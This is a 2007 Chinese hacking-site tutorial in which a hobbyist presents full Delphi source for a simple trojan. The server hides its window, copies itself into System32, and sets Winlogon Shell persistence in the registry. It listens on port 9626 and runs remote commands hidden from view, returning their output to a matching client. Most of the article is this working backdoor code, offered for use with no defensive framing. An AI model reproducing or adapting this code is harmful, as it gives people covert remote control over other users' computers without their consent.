执着成就未来 技术成就梦想
文字横幅以及760*60黄金广告位置招租,欢迎恰谈! 广告业务联系QQ:8019399 声明:在本站所投放广告内容均与本站立场无关!

您现在的位置: 中国安全在线 >> 攻防技术 >> 网络编程 >> 文章正文 用户登录 新用户注册
专 题 栏 目
最 新 热 门
最 新 推 荐
相 关 文 章
密码心理学 看黑客是如何来破解密码
浏览器执行exe文件的探讨
小技巧 伪造Cookies收费电影免费看
菜鸟的入侵 博客入侵太简单了
说一个隐蔽克隆帐号的方法
切记 3389端口不可轻易开
入侵韩国服务器
深入分析黑客心理 社会应加强心理治
教你使用Anti ARP Sniffer查找ARP攻
做精明的赶马人:木马查找清除攻略
编写属于自己简单的木马
作者:佚名 来源:安全在线 更新时间:2007-9-23 9:02:45 【字体:
<%=(int(rnd()*1)+1)%>您当前的位置:中国安全在线cnsafer.com 请进入[技术论坛]发表评论

刚学电脑时很喜欢网络安全,看着高手们写的一个又一个攻击工具,自己也总想努力去学好编程去写属于自己的程序。学DELPHI快一年了,感觉什么都没学到,惭愧啊。今晚突然想学着写木马,于是手忙脚乱的敲了点代码,超简单,愿自己能越写越好!!!

程序跟传统木马一样,分服务端和客户端。运行服务端后会复制自身到SYSTEM32目录下面,并在注册表添加一自动行启动项,打开本机9626端口开始等待接收客户端的数据。当接收到客户端数据时就当作CMD命令去执行,最后把回显传送回客户端。客户端很简单,跟服务端连接成功后,输入命令点执行,正常的话可以收到服务端的执行结果了。

源码如下:

 

////Server.pas//////////////

unitUtMain;

////////////////////////////////////
//////////BYlanyus////////////////
////////Email:greathjw@163.com////
////////QQ:231221////////////////
///部分代码从网上收集///////////
////////////////////////////////

 

interface

uses
Windows,Messages,SysUtils,Variants,Classes,Graphics,Controls,Forms,
Dialogs,Registry,ScktComp,StdCtrls;

type
TFmMain=class(TForm)
SS:TServerSocket;
Memo1:TMemo;
procedureFormCreate(Sender:TObject);
procedureSSAccept(Sender:TObject;Socket:TCustomWinSocket);
procedureSSClientRead(Sender:TObject;Socket:TCustomWinSocket);
private
{Privatedeclarations}
public
{Publicdeclarations}
end;

var
FmMain:TFmMain;
reg:TRegistry;

implementation

{$R*.dfm}

procedureTFmMain.FormCreate(Sender:TObject);
var
sysdir:array[0..50]ofchar;
begin
Application.ShowMainForm:=False;
FmMain.Left:=-200;//运行不显示窗口
reg:=TRegistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.OpenKey('SoftWare\Microsoft\WindowsNT\CurrentVersion\Winlogon',true);
ifreg.ReadString('Shell')<>'Explorer.exeLysvr.exe'then
reg.WriteString('Shell','Explorer.exeLysvr.exe');//建立开机启动项
reg.Free;
GetSystemDirectory(sysdir,50);
ifnotFileExists(sysdir+'\Lysvr.exe')then
copyfile(Pchar(Application.exeName),pchar(sysdir+'\Lysvr.exe'),true);

SS.Port:=9626;
try
SS.Active:=True;
except
end;
end;

procedureTFmMain.SSAccept(Sender:TObject;Socket:TCustomWinSocket);
begin
Socket.SendText('连接成功');//发现有连接时回传‘连接成功’
end;

procedureTFmMain.SSClientRead(Sender:TObject;Socket:TCustomWinSocket);
var
RemoteCmd:string;
hReadPipe,hWritePipe:THandle;
si:STARTUPINFO;
lsa:SECURITY_ATTRIBUTES;
pi:PROCESS_INFORMATION;
cchReadBuffer:DWORD;
ph:PChar;
fname:PChar;
res:string;
begin
Memo1.Clear;
remotecmd:=Socket.ReceiveText;
fname:=allocmem(255);
ph:=AllocMem(5000);
lsa.nLength:=sizeof(SECURITY_ATTRIBUTES);
lsa.lpSecurityDescriptor:=nil;
lsa.bInheritHandle:=True;
ifCreatePipe(hReadPipe,hWritePipe,@lsa,0)=falsethen
begin
socket.SendText('不能创建管道');
exit;
end;
fillchar(si,sizeof(STARTUPINFO),0);
si.cb:=sizeof(STARTUPINFO);
si.dwFlags:=(STARTF_USESTDHANDLESorSTARTF_USESHOWWINDOW);
si.wShowWindow:=SW_HIDE;
si.hStdOutput:=hWritePipe;
StrPCopy(fname,remotecmd);
/////执行CMD命令////
ifCreateProcess(nil,fname,nil,nil,true,0,nil,nil,si,pi)=Falsethen
begin
socket.SendText('不能创建进程');
FreeMem(ph);
FreeMem(fname);
Exit;
end;
while(true)do
begin
ifnotPeekNamedPipe(hReadPipe,ph,1,@cchReadBuffer,nil,nil)thenbreak;
ifcchReadBuffer<>0then
begin
ifReadFile(hReadPipe,ph^,4096,cchReadBuffer,nil)=falsethenbreak;
ph[cchReadbuffer]:=chr(0);
Memo1.Lines.Add(ph);
end
else
if(WaitForSingleObject(pi.hProcess,0)=WAIT_OBJECT_0)thenbreak;
Sleep(100);
end;
ph[cchReadBuffer]:=chr(0);
Memo1.Lines.Add(ph);//memo接收回显
CloseHandle(hReadPipe);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(hWritePipe);
FreeMem(ph);
FreeMem(fname);
socket.SendText(Memo1.Text);///将回显发送回客户端
end;

end.

///////////////////////////////////////////////////////////////////////////////////////////
 


//////客户端/////////////////////

unitUtMain;

////////////////////////////////////
//////////BYlanyus////////////////
////////Email:greathjw@163.com////
////////QQ:231221////////////////
////////////////////////////////

interface
uses
Windows,Messages,SysUtils,Variants,Classes,Graphics,Controls,Forms,
Dialogs,OleCtrls,SHDocVw,StdCtrls,IdBaseComponent,IdComponent,
IdUDPBase,IdUDPServer,Buttons,TLHelp32,ScktComp;

type
TFmMain=class(TForm)
WebBrowser1:TWebBrowser;
Label3:TLabel;
Edit2:TEdit;
Label4:TLabel;
Edit3:TEdit;
Button2:TButton;
CS:TClientSocket;
Edit4:TEdit;
Label5:TLabel;
Memo1:TMemo;
BitBtn2:TBitBtn;
procedureButton2Click(Sender:TObject);
procedureCSRead(Sender:TObject;Socket:TCustomWinSocket);
procedureBitBtn2Click(Sender:TObject);
private
{Privatedeclarations}
public
{Publicdeclarations}
end;

var
FmMain:TFmMain;

implementation

{$R*.dfm}

procedureTFmMain.Button2Click(Sender:TObject);
begin
CS.Host:=Edit2.Text;
CS.Port:=StrToInt(Edit3.Text);
CS.Open;
end;

procedureTFmMain.CSRead(Sender:TObject;Socket:TCustomWinSocket);
begin
Memo1.Clear;
Memo1.Lines.Add(Socket.ReceiveText);
Memo1.Lines.Add('');
end;

procedureTFmMain.BitBtn2Click(Sender:TObject);
begin
CS.Socket.SendText(edit4.Text);
end;

end.
 

 

您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力

文章录入:ls1238    责任编辑:ls1238 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    | 设为首页 | 加入收藏 | 联系方式 | 友 情链接 | 关于我们 | 网站留言 |
    Copyright ?2003-2007 www.cnsafer.com All Rights Reserved.
    如有意见请与我们联系 Email:admin#mail.cnsafer.com 联系QQ:8589101
    友情提示:建议使用IE6.0版本, 分辩率1024*768进行浏览
    中国安全在线 敢想 敢做 挑战自我 努力做最好
    中网科技有限公司 技术支持 鄂ICP备05006475号